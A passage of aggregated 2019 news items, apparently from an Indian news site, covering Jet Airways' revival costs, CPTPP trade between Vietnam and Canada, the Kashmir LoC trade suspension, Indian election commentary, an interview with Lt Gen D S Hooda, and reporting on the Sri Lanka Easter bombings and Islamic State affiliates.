lessors and many have been leased to other airlines like SpiceJet. The second challenge is that it has to repay banks part of their loans even if the lenders take a 50 per cent haircut on the Rs 8,500 crore they gave. The price tag for the two, according to airlines dealing with Jet, is a substantial Rs 7,000-7,500 crore. Jet has to pay lessors and vendors between Rs 3,000 crore and Rs 3,500 crore. That of course is not all. It has to pay at an average Rs 2 crore per month for each plane it takes on lease again and that it has to pay upfront. In simple terms it means forking out about Rs 7 lakh a day for an aircraft. Says a senior executive of an aviation consulting firm that has worked with Jet: The process of getting back Jet again to its earlier fleet levels (with 119 aircraft) will take two years if not three, just as it took SpiceJet. Most of its planes have been taken back by the lessors and deployed elsewhere. "Some of the ones it owns (Boeing 777) are being taken back by the US Exim Bank for not paying its dues. "So you might just start with 20 planes initially and that would require paying Rs 480 crore every year at least for just leasing them. Airlines estimate it will require an immediate infusion of Rs 1,500 crore just for operating a limited number of planes - paying for fuel, salaries, marketing, among others. That is apart from paying lessors dues and loans to banks. The buyer will get three things - a well-known brand name which has value, a well-trained management (which will need to be trimmed because of the reduced number of planes), and valuable slots, especially in Mumbai and other metros, as well as internationally. It currently hardly has any assets, unlike Air India, 60 per cent of whose planes it owns. The airline has to look closely at its employee to aircraft ratio. With around 16,000 permanent employees to 119 planes (134 per aircraft), the airline might have to trim the workforce. The problem might be taken care of partly by the attrition of employees already, especially of pilots, who have joined IndiGo and SpiceJet. Experts say even in the December quarter of 2018, Jet had an international market share of 11 per cent and in February 2019 controlled 12.6 per cent share of the domestic market. With the domestic market expected to grow by 14-16 per cent in FY20, the benefit of that growth will go to Jets competitors. Photograph: PTI Photo The CPTPP, which took effect in Vietnam on January 14th, gathers 11 member states, namely Australia, Brunei, Canada, Chile, Japan, Malaysia, Mexico, New Zealand, Peru, Singapore and Vietnam that altogether make up 13.5 percent of global GDP. Ta Hoang Linh, Director of the European-American Market Department under the Ministry of Industry and Trade (MoIT), said Canada is one of the CPTPP members that have the highest market-opening commitments. Under this pact, it will cut tariffs on 95 percent of imports down to zero percent, and that covers 78 percent of Vietnams total export revenue to Canada. This market is also one of the three CPTPP members with which Vietnam has not yet signed a bilateral trade agreement. Meanwhile, the two sides export structures do not compete with but are complementary to each other. Therefore, if businesses can grab opportunities, the CPTPP will open the door wide for many processed and manufactured products which are Vietnams advantages like textile-garment, footwear, wood and aquatic products, Linh said. Jared Brading, Counsellor for Development Cooperation at the Canadian Embassy in Vietnam, said the CPTPP implementation will bring about more trade and investment chances, helping to strengthen trade partnership, especially in terms of agricultural and food products. For Canada, this agreement will help reinforce relations with new free trade agreement partners like Vietnam and improve Vietnamese consumers awareness of Canadian goods, he said, noting his hope that Vietnamese goods will increase its presence in his country. Brading added the CPTPP will also facilitate Canadian companies investment in and provision of technical support for Vietnam within the official development assistance framework so as to help local firms, especially those run by women, to benefit from trade liberalisation and the CPTPP. At the workshop, Nguyen Son Tra, an official from the MoITs Multilateral Trade Policy Department, said the enforcement of the CPTPP is considered a driving force for bilateral trade. With the immediate elimination of 95 percent of import tariff lines after the deal took effect, which covers 78 percent of Vietnams exports to this market, Canada generates numerous export chances for Vietnam. She elaborated all of Vietnams aquatic exports to Canada have benefited from a zero-percent tariff since January 14th. The North American market has also reduced import tariffs on wooden furniture, tea, pepper and cashew nut to zero percent. It will remove all tariffs on textile-garment imports in the fourth year since the CPTPP came into force. Meanwhile, 78 percent of Vietnams exports of footwear - another major foreign currency earner - to Canada have also enjoyed a zero-percent tariff immediately after the trade pact took effect. Statistics show that in 2018, Vietnam shipped more than USD3.01 billion worth of goods to Canada. Bilateral trade reached USD379 million in January this year, including USD317 million of Vietnams exports./. The chances of the posts opening remain slim, with security agencies recently identifying 10 suspects who smuggled in weapons, narcotics and fake currency. Buoyed by the promise of support by the state government, Kashmir trade bodies say they will continue to push for getting the trading posts along the Line of Control (LoC) opened. India had on April 18 suspended cross-Loc trade. But the chances of the posts opening remain slim, with security agencies on Thursday identifying 10 suspects who smuggled in weapons, narcotics and fake currency. All the suspects - hailing from Kashmir and based in Pakistan - are part of Pakistan-based militant organisations, police said. The Kashmir Chamber of Commerce and Industries (KCCI) said thousands of livelihoods are at stake till the posts dont open. Trade vital for local economy The two trading posts across the LoC - located at Chakan-da-Bagh, in Poonch, and at Salamabad near Uri, in Baramulla - are unique, with locally produced commodities allowed to be exchanged four days a week via two trade facilitation centres. Trade is based on barter system and zero tariffs. The Salamabad centre is located on the crucial road running between Srinagar and Muzaffarabad - the headquarters of Pakistan-occupied Kashmir - and is an important part of local economy. The mechanism, started in 2008, is only among four posts across Indias entire 15,000-km border, with the others being on the Myanmar border. The government had cited repeated reports of trade being misused on a large scale. Trade has changed its character to mostly third-party trade and products from other regions, including foreign countries, are finding their way through this route. "Unscrupulous and anti-national elements are using the route as a conduit for hawala money, drugs and weapons, under the garb of trade, the home ministry said on April 18. Repeated requests Nasir Hameed Khan, senior vice-president of the KCCI, said: We have demanded more security features multiple times from both the state government and the Centre so that such allegations do not arise. "This includes installation of security cameras, full-body metal scanners and stringent verification procedures for traders. We have also repeatedly flagged infrastructural issues such as a lack of basic banking facilities, unavailability of communication infrastructure, and better customs counters, but nothing has been done. According to the state government, goods worth Rs 5,000 crore have been traded through the route till March 2018. Procedural delays because of red tape have also dragged the process. Larger border check posts, categorised as integrated check posts - such as Attari in Punjab or Petrapole in West Bengal - are managed by the Land Ports Authority of India. But the four informal check posts, including the LoC, are jointly overseen by both the commerce and home ministries. A fraction of total trade The home ministry justified shutting down the LoC trade by claiming there was a high chance of it being misused in the aftermath of the commerce department revoking Pakistans Most Favored Nation (MFN) status after an attack in J&Ks Pulwama that claimed the lives of 40 Central Reserve Police Force personnel. Indias total trade with Pakistan stood at $ 1.74 billion in the April-January period of FY19, compared to $ 2.41 billion in the previous year. The move has hiked the customs duty by 200 per cent on Pakistani goods. Despite Pakistans protests, commerce department officials said India is not even required to inform the World Trade Organisation about its decision. India does not figure in the top 10 export destinations for Pakistani goods, but serves as a crucial channel for select goods such as leather hides and cheaper variants of fertilisers that are generally procured by importers at short notice. On the other hand, any decision to stop exports to Pakistan is likely to affect the neighbouring countrys cotton industry which relies on cotton bales from India. Pakistan has also come to depend upon cheaper varieties of Indian pharma products and machinery that are difficult to source from elsewhere. Photograph: PTI Photo 'Priyanka Gandhi, it was obvious to everyone but the inner circle, would have only served as a sacrificial lamb in this high-octane contest, the Modi juggernaut would have simply trundled over her and whatever ill-hatched plans the Congress had in mind,' says Saisuresh Sivaswamy. IMAGE: Narendra Damodardas Modi during his road show in Varanasi, April 25, 2019. It was billed as the juiciest election battle of all time, and a news-hungry media had already decided that it was of David versus Goliath proportions with similar outcome where the unfancied will bring down the giant. The Congress party, we know, fed this perception with titbits and hints of a coming epic battle, but when the time came to file nominations the rival was nowhere to be seen. Priyanka Gandhi-Vadra's non-foray into electoral politics is the sum and substance of what is wrong with the Congress since years. Where was the need to build up a contest in Varanasi, where Prime Minister Narendra Damodardas Modi towers large, larger than anything the holy city has seen, when all along you did not have either the heart or the brain for it? Rahul Gandhi is a political bumbler, that much we know even if we won't acknowledge it in public. But what about his senior advisors who ought to have known better? Didn't they warn him of the perils of losing the perception battle where you throw punches at the prime minister but decide to sit it out when it is time to enter the ring? What about the vastly astute Sonia Gandhi whose sagacity, alas, doesn't seem to have been passed on to her children? Why do they still believe as if all they have to do in an election is turn up with their pretty smiles and a fawning media still drunk on democracy will ensure the votes are cast in their favour? IMAGE: Narendra Damodardas Modi and Amit Anilchandra Shah at the Ganga aarti in Varanasi, April 25, 2019. If they still harboured any delusions about Modi and BJP national President Amit Anilchandra Shah being pushovers in a close election, Thursday's road show in Varanasi and the theatrics that followed must have come as a good antidote. Thankfully, wiser counsel had already prevailed. Priyanka Gandhi, it was obvious to everyone but the inner circle, would have only served as a sacrificial lamb in this high-octane contest, the Modi juggernaut would have simply trundled over her and whatever ill-hatched plans the Congress had in mind. Better to sacrifice a pawn than the queen, and the ever-willing Ajai Rai was once again offered up to the gods. But the alarm, or glee, in newsrooms (depending on which channels you watched) a simple election had set off was to be seen to be believed. On NDTV there was a sense of betrayal, having been let down by the Congress after promising a fight to the finish. What kind of signal did this send out, Nidhi Razdan wanted to know from the Congress's Muhammed Khan. Smriti Irani took on Rahul in 2014 and lost, but she has stayed the course and is back to challenge him in Amethi, she pointed out. The suave Khan, it seemed, had come fully prepared for just such a line of questioning. We are not here to share our strategy on TV studios, he said, but to fight elections, and we believe in effective deployment of our resources. And he managed to say it with a straight face, too. Fair enough, but why did your party leadership, including Priyanka and Rahul, then keep hinting at her nomination from Varanasi, if there was no intention of fielding her? A moot point, but one that the Congress really cannot own up to. The reason was, panic. There is no other way to put it. After three rounds of elections, with more than half the constituencies having voted, the Congress has realised it is fighting a losing battle. And the remaining four phases are going to pile on further misery for the party. Not just Varanasi, the Congress also dropped plans to hold a Rahul Gandhi road show in Mumbai ahead of the polling on Monday. The BJP, meanwhile, is recalibrating its electoral strategy as the polling progresses. Having started off with Pulwama-Balakot, it veered off to rope in Hindu terror, and now, with Modi leading a massive roadshow in the holy city, the message is out in the open. 'There have been no terror attacks on holy places in five years', 'new India will not tolerate terrorism', 'Kumbh Mela was conducted peacefully', and finally, 'It's not about how I have changed Kashi, but how Kashi has changed me.' Welcome to the last and final leg of the BJP's election message: Hindu consolidation. Ashutosh, the journalist and former AAP leader, can tell Rajdeep Sardesai on India Today TV that it won't work, that Dalits won't back such a consolidation, but the results on May 23 may surprise him. For this is not a janeudari who is leading a Hindu mobilisation for the Dalits to stay away from, but one who wears his OBC heart on his sleeve. While all this drama was playing out, there was also a bit of depressing news, of adverse unemployment figures, with a report pegging job losses in the last two years at 7.5 million. Elections, ordinarily, would be time to discuss these and other issues, but not when the TV screens are filled with ecstatic anchors watching the Ganga aarti. Faye D'Souza on Mirror Now alone chose to buck the trend, keeping the focus firmly on the issue that matters, while all other had succumbed to the charms of Varanasi to various degrees. While NewsX and Republic TV beamed live the prime minister's address from Varanasi, other English channels went with their scheduled programming. The Hindi channels naturally preferred the prime minister in Varanasi, with the notable exception of -- yes! -- DD News. NDTV India had reporters on the ground showing us the kind of preparations that went into making Modi's entry into Varanasi and the subsequent road show such a grand event, which at once showed why the Congress, stretched thin on the ground in UP, could never have mounted an operation of this scale. But the show of the evening as always was Bhupendra Chaubey's on CNN-News18, with him reporting live from Varanasi's hot spots. One clip had him talking to doodhwalas, who were unhappy at the low price paid for their output that is sold at a higher price in the marketplace, but who were clear that their vote nevertheless went with the champion of 'Shaktishaali desh'. Ditto result from a daily job market where there were complaints galore about various benefit schemes not reaching them, but no doubt about who got their vote. So Priyanka was right in running away, after all. 'Past experience shows us that cross-border strikes have not prevented Pakistan from continuing with further terror attacks.' Lieutenant General D S Hooda was the army commander under whose command Indian soldiers conducted the surgical strikes across the Line of Control on September 28-29, 2016. As the highest ranking officer in the Northern Command, General Hooda was responsible for the planning and execution of the top secret successful operation. After serving nearly 40 years in the Indian Army, the officer retired a couple of months after the successful surgical strikes operation. In February 2019, he joined a task force set up by the Congress to prepare a national security vision for the country. The report was prepared in consultation with retired army and police officers. It was submitted to the Congress this week and was made public. "Limited military action is part of an overall strategy to deal with Pakistan and pressurise it to not support terror activities," General Hooda tells Rediff.com's Archana Masih. Your report on national security prepared for the Congress said India must be ready for limited unilateral military action against Pakistan. India did respond to the Uri/Pulwama attacks, so what are the other Pakistani provocations that would require such military action? Let me put it in context, an odd military cross-border strike is not going to be sufficient to change Pakistan's behaviour. I say that because Pakistan always tends to play down any military strike by us. They don't want to accept that the Indian armed forces have come across the border that is defended by the Pakistan army. In 2016, they negated the strike and said it did not happen at all. Similarly with the air strikes, they said, 'yes, we breached their air space but no damage was caused'. They have this tendency of downplaying these strikes. Past experience shows us that cross-border strikes have not prevented Pakistan from continuing with further terror attacks. I had said in the report that we need a consistent and long term strategy which combines economic pressure, diplomacy, international isolation -- and when required we should also not rule out military action. This limited military action is part of an overall strategy to deal with Pakistan and pressurise it to not support terror activities. We should use all organs of power -- economic, diplomatic, political, military -- and also not rule out limited military strikes. What are the salient points that the next government needs to keep in mind in dealing with Pakistan? One, have a strategy to deal with Pakistan and see how you can prevent, desist or pressurise Pakistan from supporting cross-border terror activities. I have also said that we should not rule out dialogue with Pakistan, but the dialogue must be structured and based on visible results. For example, the dialogue between (then prime minister) Manmohan Singh and (then Pakistani military dictator General) Pervez Musharraf, where cross-border confidence building measures took place. In this case, the ball is clearly in Pakistan's court. They need a rethinking on their continuing support to terror activities, deep-rooted hostility against India -- and seeing their own political and economic weaknesses, they need to consider a change in their approach to India. How do you think such an engagement is even possible when relations between the two countries have hit such a low after Pulwama and Balakot? It requires statesmanship on both sides and the understanding that this is the best way relations can be pursued between India and Pakistan. The environment and public perception also sometimes drive government policies, but I think statesmanship on both sides will help. When it comes to international relations one has to look at hard logic and how one wants to take things forward in the future. You can't completely be driven only by sentiment. What can the next government do to soothe tempers in Kashmir, prevent radicalisation and Pulwama kind of attacks? Preventing Pulwama type of attacks is the measure of intelligence, counter terrorist operations, taking out key terrorist leaderships. To expect that terrorists will stop their activities is not going to happen. After Pulwama they tried once more, but fortunately nothing happened. If you are looking at a resolution to the conflict you require a much more holistic approach where you look at the root causes, what it is driving the sense of alienation and how are you going to counter the narrative that is going on in Kashmir -- how you are going to put in place counter radicalisation or de-radicalisation programmes. I have also suggested that we have an effective surrender policy and get back some of the local youth into the mainstream. That will have a positive effect. There is a divide between Jammu and Kashmir region -- can civil society and the government step in to start some kind of a dialogue where people can sit together and talk to each other? An honourable solution for the displaced Kashmiri Pandits who have been driven out of the valley must be found. A large number of steps need to be taken and requires effective communication. What is the message the government is sending to the people of Kashmir? Measures like road closures sends a negative signal. As a soldier, what are your thoughts on the use of soldiers in the political rhetoric like 'Modi ki Sena' and asking first time voters to vote for the Pulwama martyr? It's not only me, but many have said that the armed forces have been apolitical since Independence. The military has served the nation well. Drawing in the military to win political arguments is highly avoidable. I am not saying the army is going to get completely politicised, but it is best kept out of politics. If the military is seen to be taking sides, its own professionalism is going to be hampered. This is what political leaders on all sides need to understand that ultimately by doing this they are only going to damage the military itself. What are your thoughts on the supersession for the chief of naval staff's appointment? What message does supersession send to the armed forces? We have to understand that it is the government's prerogative to choose the senior leadership. It is not as if supersessions are only happening now and haven't happened in the past. The government must have had some good reason to supersede a senior officer. Ultimately, on the supersession issue, it is the authority of the government and I think we should not question that. IMAGE: General Hooda with Congress President Rahul Gandhi. You conducted the surgical strikes under Prime Minister Modi, what attracted you to the Congress? I know you have not joined the party, but headed their national security task force. They requested me if I could prepare a report on national security strategy for them. I thought it was work that was required. We have often said India doesn't have a formal written down national security strategy and a formal direction that we need to pursue. I thought it was in the national interest. They promised me they would put it out in the public domain and they have. They have also said they accept some of the points -- for a political party to have a national security policy is itself a big step. It was nothing to do with political ideology, but something that was required and in the national interest. If the BJP had asked you to help with your expertise in any way, would you have considered that? The ministry of defence asked me to prepare a paper on restructuring and the right sizing of the Indian Army which also I worked on and gave them. What would be the immediate measures to counter radicalisation in Kashmir? You need structures and policies, and a de-radicalisation programme. What are the themes of that programme, who are the people you are going to engage with -- clerics, local police, civil society. Many youngsters engaged in stone pelting are arrested, go into jails, there are no major charges against them so they are released after a few months. But in jail they meet hardcore terrorists and sometimes there is the feeling that they are actually more radicalised than when they went into prison. Surrendered terrorists is one group that can be co-opted into de-radicalisation programmes. They are a powerful tool because they have seen the other side. These kind of programmes are completely absent, once they start, you can start countering radicalisation. IMAGE: A security officer stands guard outside St Anthony's Shrine days after a string of suicide bomb attacks in Colombo, on Friday. Photograph: Athit Perawongmetha/Reuters Sri Lankan security forces raided a hideout in a predominantly Muslim neighbourhood in the Eastern province on Friday evening, triggering a standoff with heavily-armed men believed to be linked to the deadly Easter attacks. Police spokesman said that at least one suicide bomber blew himself up during the shootout in the coastal town of Sammanthurai, 325 kilometers from Colombo. Police said they have seized a large haul of explosives, a drone and a banner with the Islamic State logo. "Garbs similar to that which were worn in the video displaying IS members in Sri Lanka, along with an identical IS backdrop in the video was discovered during the raid," a police official said. Nine suicide bombers carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday, killing 253 people. The Islamic State claimed the attacks, but the government has blamed local Islamist extremist group called National Tawheed Jamath (NTJ) for the attacks. Hours after the deadly blasts, police launched a manhunt to nab the perpetrators and so far arrested over 70 suspects, including five women. While Congress leader Sam Pitroda says it was Priyanka's own decision, party spokesperson Rajiv Shukla says it was Rahul's call. IMAGE: Congress general secretary Priyanka Gandhi Vadra is garlanded by party leaders during an election campaign rally at Gursarai in Jhansi on Thursday. Photograph: PTI Photo Congress leader Sam Pitroda on Friday said it was party general secretary Priyanka Gandhi Vadra's own decision not to contest against Prime Minister Narendra Modi for the Varanasi Lok Sabha seat. Speculation over Priyanka Gandhi's electoral debut from Modi's constituency ended on Thursday when the Congress fielded Ajay Rai, a political lightweight, from the Uttar Pradesh constituency. Union Finance Minister Arun Jaitley then took a dig at the Congress, claiming that Priyanka Gandhi had 'quietly chickened out' of the contest. "The party president had left the final decision on her," Pitroda said when reporters asked him about Rahul Gandhi not fielding his sister from the high-profile constituency. "She decided that she has several responsibilities. She decided that rather than concentrating on one seat, she should focus on the job she has at hand," Pitroda, who heads the Indian Overseas Congress, said. "So that decision was finally hers and she decided it," he said. Speculation over a Priyanka Gandhi-Modi face-off was triggered last month when the Congress leader in charge of eastern Uttar Pradesh herself hinted at the possibility. Answering questions from reporters, Priyanka Gandhi has said she would contest if the party asked her. When questioned on the speculation, Congress president Rahul Gandhi recently said, "I will leave you in suspense. Suspense is not always a bad thing." At his Jaipur press conference Pitroda accused the Bharatiya Janata Party of not fulfilling its promises and claimed that people's freedom is being curtailed under its government. "When questions are asked, the government gets angry, he said, referring to the air strike against Pakistan after a terror attack against Central Reserve Police Force jawans in Kashmir. "Who are you to call us traitors? We will say whatever we have to say," he said, targeting the BJP. He said the BJP government had failed in generating employment. "We will have to create at least 10 crore jobs in five to seven years. In the past five years, not a single new job was created but 50 lakh jobs reduced," Pitroda claimed. "Creating jobs is a difficult job which they don't know," he said, claiming that the Congress has a better record on this. Meanwhile, Congress spokesperson Rajeev Shukla hit back at Jaitley, saying it shows that the BJP was scared over the possibility of Priyanka being fielded from the temple town. "The finance minister is angry, the prime minister is dejected. He expressed his desperation today. This atmosphere of dejection is prevailing in the BJP," Shukla said. On Jaitley's remarks, he said it shows that they were 'very scared that what if she comes'. "If you remember she had made it clear from the first day that she wants to fight from Varanasi, but that the decision will be taken by the Congress president. "It was the decision of the party high command and the Congress president," Shukla said. Asked if the Congress general secretary will contest elections from any other constituency in the future, Shukla said she is currently working hard to strengthen the party in Uttar Pradesh. "She is touring everyday, campaigning, doing road shows, addressing public meetings, meeting workers and meeting the people. Right now, she is focused on UP and after that in future what happens, we should wait for that," he added. Driven from its self-styled caliphate in Iraq and Syria, Islamic State is down but not out. Where once they confronted armies, the extremist Islamist group's adherents have now staged hit-and-run raids and suicide attacks. In some cases, the group has claimed responsibility for atrocities, including the bombings of churches and hotels in Sri Lanka that killed at least 253 people. Its involvement is not always proven, but even if the link is ideological rather than operational, Islamic State still poses a security threat in many countries. >> SYRIA IMAGE: A member of the Syrian Democratic Forces calls his comrades during the fighting with Islamic State fighters in Raqqa, Syria. Photograph: Zohra Bensemra/Reuters After serious military setbacks, Islamic State slipped into the shadows, staging suicide bombings and ambushes. IS has carried out bomb attacks in towns and cities of northeast Syria in recent months, including some targeting United States forces.Syrian Kurdish forces, which control the region and crushed the jihadists with US help, have sounded the alarm about the group's new tactics. They believe sleeper cells have mushroomed across eastern Syria and expect guerrilla attacks to escalate. They also warn of the risk posed by holding thousands of militants in prison camps. IS fighters still hold some ground in Syria's remote central desert, where they have staged attacks in recent days. >> IRAQ IMAGE: An Iraqi student walks past a school wall covered with drawings showing how Islamic State terrorists executed their prisoners in Mosul, Iraq. Photograph: Ari Jalal/Reuters After defeat by US-backed forces, Islamic State has reverted to the guerrilla tactics it was once known for. Sleeper cells have regrouped in provinces including Diyala, Salaheddin, Anbar, Kirkuk and Nineveh, where they carry out frequent attacks, including kidnappings and bombings aimed at undermining the Baghdad government. In February, two people were killed and 24 wounded when a car bomb went off in Mosul, once the group's Iraqi capital. The Pentagon said in January that IS was regenerating faster in Iraq than in Syria. Analysts estimate that about 2,000 active combatants now operate in Iraq. >> NIGERIA IMAGE: A damaged military vehicle is pictured in the northeast town of Gudumbali, after an attack by members of Islamic State in West Africa, Nigeria. Photograph: Kolawole Adewale/Reuters Nigerian group Boko Haram has carried out attacks in the northeast since 2009 in pursuit of an Islamic caliphate. It has killed 30,000 people and forced 2 million to flee their homes. The group split in 2016 and one faction pledged allegiance to IS. Islamic State's West Africa Province has focused on attacking military bases in raids over the last year. It has become the dominant terror group in the region as a result of these raids. ISWAP's activities are concentrated around Lake Chad, which borders Nigeria, Cameroon, Chad and Niger. IS claims attacks in the Lake Chad region through its Amaq news agency. However, the extent of support provided by Islamic State to ISWAP is unclear and many security experts say the relationship is mainly in name rather than direct funding and logistical support. >> EGYPT IMAGE: An Egyptian policeman gestures from an observation tower is seen from the Israeli side of the border with Egypt's Sinai peninsula, in Israel's Negev Desert. Photograph: Amir Cohen/Reuters Egypt has seen no large attacks over the past year, but smaller incidents persist and the military is mounting a campaign against Islamist insurgents, mainly on the Sinai Peninsula. The military says several hundred terrorists have been killed since it launched a major campaign in February 2018 to defeat fighters linked to Islamic State in Sinai. Three civilians and four police personnel were killed this month by a suicide bomber in the North Sinai town of Sheikh Zuweid, the interior ministry said. Claiming the attack, Islamic State said 15 people were killed or wounded. In November, gunmen killed seven Christians on a bus in Minya province, south of Cairo. IS claimed responsibility. >> SAUDI ARABIA IMAGE: A policeman carries out an inspection after a car exploded near the Shi'ite al-Anoud mosque mosque in Saudi Arabia's Dammam on May 29, 2015. Photograph: Faisal Al Nasser/Reuters Islamic State terrorists have carried out deadly bombings and shootings in Saudi Arabia against security forces and minority Shi'ite Muslims, after the authorities crushed an Al Qaeda insurgency over a decade ago. Kamran Bokhari, a director at Washington-based think-tank the Center for Global Policy, said Islamic State does exist in the kingdom but the Saudi security forces and intelligence service are "pretty much on top of things". >> AFGHANISTAN IMAGE: Afghan policemen try to rescue four-year-old Ali Ahmad at the site of a suicide attack followed by a clash between Afghan forces and insurgents after an attack on a Shi'ite Muslim mosque in Kabul, Afghanistan. Photograph: Omar Sobhani/Reuters Islamic State in Khorasan, which took its name from an historical region that covered much of modern-day Afghanistan and parts of Central Asia, appeared in late 2014 in the eastern province of Nangarhar, where it retains a stronghold. It announced its formation in January 2015. The group's leadership has pledged allegiance to Abu Bakr al-Baghdadi, the leader of IS, but it is not clear that ISIS-K has direct operational links with the main movement. It has claimed attacks on civilian targets in cities including Kabul and fought the Afghan Taliban for control of a number of rural districts. >> DEMOCRATIC REPUBLIC OF CONGO IMAGE: An Armed Forces of the Democratic Republic of the Congo soldier rests next to a road after Islamist rebel group called the Allied Democratic Forces attacked an area around Mukoko village, North Kivu province of Democratic Republic of Congo. Photograph: Goran Tomasevic/Reuters Islamic State claimed its first attack in Congo on Thursday, and declared it the "Central Africa Province" of the "Caliphate". Congo's President Felix Tshisekedi said the defeat of IS in Syria and Iraq meant the group might come to Africa and take advantage of poverty and chaos in an attempt to set up a caliphate. A spokesman for the US Africa command said the Allied Democratic Forces, a local terror group, had meaningful ties to Islamic State, to which it claimed allegiance in 2017. >> SRI LANKA IMAGE: A view of the damage at St Sebastian Catholic Church, after bomb blasts ripped through churches and luxury hotels on Easter, in Negombo, Sri Lanka. Photograph: Athit Perawongmetha/Reuters Islamic State claimed the Easter Sunday bomb attacks on churches and hotels and released a video showing eight men declaring loyalty to Baghdadi. IS claims the men in the video, released on Tuesday by its Amaq news agency, carried out the suicide bombings. Sri Lankan officials have blamed two domestic Islamist groups with suspected ties to Islamic State. The scale and sophistication of the attacks suggested the involvement of an external group such as Islamic State, said Alaina Teplitz, the US ambassador to Sri Lanka. >> INDONESIA IMAGE: A member of the police bomb squad unit examines the site of an explosion outside the Immaculate Santa Maria Catholic Church, in Surabaya, East Java, Indonesia. Photograph: M Risyal Hidayat/Antara Foto/Reuters Indonesia is the world's most populous Muslim-majority country and most people practise a moderate form of Islam. But there has been a resurgence in militancy and authorities have said they believe thousands of Indonesians draw inspiration from Islamic State, while about 500 Indonesians are thought to have gone to Syria to join the group. A court sentenced a cleric, Aman Abdurrahman, to death last year for masterminding deadly attacks. Abdurrahman is considered the ideological leader of Jemaah Ansharut Daulah - a loose grouping of Islamic State sympathisers in Indonesia. Suicide bombings in May last year in Surabaya that killed more than 30 were linked to JAD cells. >> THE PHILIPPINES IMAGE: The bullet-riddled domes of Grand Mosque are seen, after residents were allowed to return to their homes for the first time since the battle between government troops and Islamic State militants began on May 2017, at the Islamic city of Marawi, Philippines. Photograph: Erik De Castro/Reuters The Philippines fears that extremists fleeing Iraq and Syria could find a safe haven in the jungles and remote villages of Muslim areas of Mindanao, where there is a long history of lawlessness, clan rivalry and separatist and Islamist rebellion. Several splinters of the myriad armed groups in the southern Philippines have pledged allegiance to Islamic State, although none are known to have been endorsed as its Southeast Asian affiliate. Islamic State often claims responsibility for bombings and rebel clashes with government troops in Mindanao, but their veracity is often disputed. Sri Lanka's Defence Secretary Hemasiri Fernando resigned over his failure to prevent the Easter terror attacks even as the health ministry sharply revised the death toll downward to 253, saying the previous figure of 359 was due to a "calculation error". IMAGE: Family members mourn for their mother, a victim of the suicide attacks on churches and luxury hotels, at the site of a mass burial in Negombo, Sri Lanka. Photograph: Athit Perawongmetha/Reuters Lankan Prime Minister Ranil Wickremesinghe said authorities were targeting the "sleepers" who could trigger another round of bombings as police released photos of six suspects, including three women, wanted for their involvement in the attacks and sought information regarding them from the public. Authorities earlier said nine bombers, believed to be members of a local Islamist extremist group called National Thowheed Jamath, carried out the blasts that killed 359 people and wounded more than 500 others. However, in an embarrassing revision, Dr Anil Jasinghe, Director General of the Health Services, said the larger death toll was released as a result of a calculation error. "The approximate total of the dead would be 253 and not 359 as reported in media," he said in a statement. Defence Secretary Fernando handed over his resignation letter to Lankan President Maithripala Sirisena on Thursday. Sirisena had asked Fernando and Inspector General of Police Pujith Jayasundara to quit after their failure to prevent the blasts despite having prior intelligence. Facing public criticism for not acting against Islamist extremist groups in the island nation, Lanka's Prime Minister Wickremesinghe said some of the suspected attackers responsible for the Easter bombings were being monitored by the country's intelligence services. But authorities did not have "sufficient" evidence to place the suspected attackers in custody prior to the attacks, he said. Top officials have acknowledged that Sri Lanka received intelligence about possible terror strikes ahead of the attacks, but both Sirisena and Wickremesinghe have said that they did not receive the information. IMAGE: A Sri Lankan navy soldier searches a motor bike at a check point in Colombo, days after a string of suicide bomb attacks on churches and luxury hotels across the island on Easter Sunday. Photograph: Dinuka Liyanawatte/Reuters Wickremesinghe told CNN that he did not rule out the possibility of more attacks in the country. He said authorities were now focussing on "sleepers" - terrorists who could activate another round of attacks. "Police and security forces are rounding up those involved, but they're also rounding up the sleepers, those used on second and third rounds (of attacks)," he said. "The danger has come down drastically, (but) we do have to pick up some more sleepers, which we will do in the next few days." He said security services were acting out of an abundance of caution, and that should even one militant slip through the net, the damage could be widespread. "It is a precaution that we are taking, we want to be sure we have everyone in," Wickremesinghe said. "They are worried that one or two could get into a church -- (even) one person can do a lot of damage." The Lankan authorities have intensified their search operations with the help of the army and arrested 16 more suspects. Officials said that with the fresh arrests, the total number of suspects under their custody has risen to 76. Lankan President Sirisena has said that 139 people have been identified as suspects in connection with the attacks. Addressing an all-party conference, Sirisena said that a Combine Operation Centre will be established within the defence ministry for the enforcement of the country's security measures from Friday. Many of the arrested people have suspected links to the NTJ, the group blamed for the bombings. However, the NTJ has not claimed responsibility for the attacks. The Islamic State has claimed responsibility for the attacks. Meanwhile, security has been beefed up around "a certain category of mosques" after intelligence warning that the Islamist extremist group blamed for the Easter blasts was planning an attack on them during Friday prayers. Lanka police chief resigns IMAGE: Dubai's iconic Burj Khalifa lights up in Sri Lankan flag colours to commemorate the recent attacks in Sri Lanka. Photograph: Satish Kumar/Reuters Sri Lanka's police chief resigned from his post on Friday, two days after Lankan President Maithripala Sirisena asked him to step down over the security establishment's failure to avert the deadly Easter bombings. Sirisena, who is also the defence minister, said Inspector General of Police Pujith Jayasundara resigned over failures which led to the attacks on three hotels and three churches on Sunday that claimed 253 lives. "The IGP has resigned. He has sent his resignation to the acting defense secretary. I'll nominate a new IGP soon," the president said. The police chief's resignation came a day after the country's defence secretary Hemasiri Fernando handed over his resignation letter to the president. Sirisena had asked Fernando and Jayasundara to quit after their failure to prevent the blasts despite having prior intelligence. Sirisena said the intelligence supplied by a friendly nation was not shared with him by officials. All they have done was to exchange letters among themselves," he said. I asked both police chief and defence secretary why the information was not shared with me, they remained silent," he said. He said the security lapse was also due to the current government's weakening of intelligence operations. This is a reference to the arrest and trials against a handful of military intelligence officers who were responsible for attacks and murder of journalists, abductions and ransom taking, he said. He said the power struggle in his government was because he had objected to the government's weakening of the security forces. The CPI says its candidate Kanhaiya Kumar is getting 'excellent' support from all segments of society in Begusarai. M I Khan reports. A day after the Communist Party of India urged the Rashtriya Janata Dal to withdraw its nominee from the Begusarai Lok Sabha seat in Bihar in favour of its candidate Kanhaiya Kumar, the RJD made a similar request to the CPI. The move may bolster Bharatiya Janata Party candidate Giriraj Singh's chances; the Union minister did not even want to contest the seat. Begusarai is witnessing a triangular fight between Singh, Kanhaiya and the RJD's Tanvir Hasan. The constituency goes to the polls on April 29. Kanhaiya, a former Jawaharlal Nehru University students union president, campaigns hard from early morning till night to woo voters. A battery of actors, theatre personalities, activists, authors, stage artists, intellectuals and cultural groups from outside Bihar are campaigning for him. RJD General Secretary Shivanand Tiwari says if the CPI wants to defeat fascist forces, it should retire Kanhaiya Kumar and support the RJD 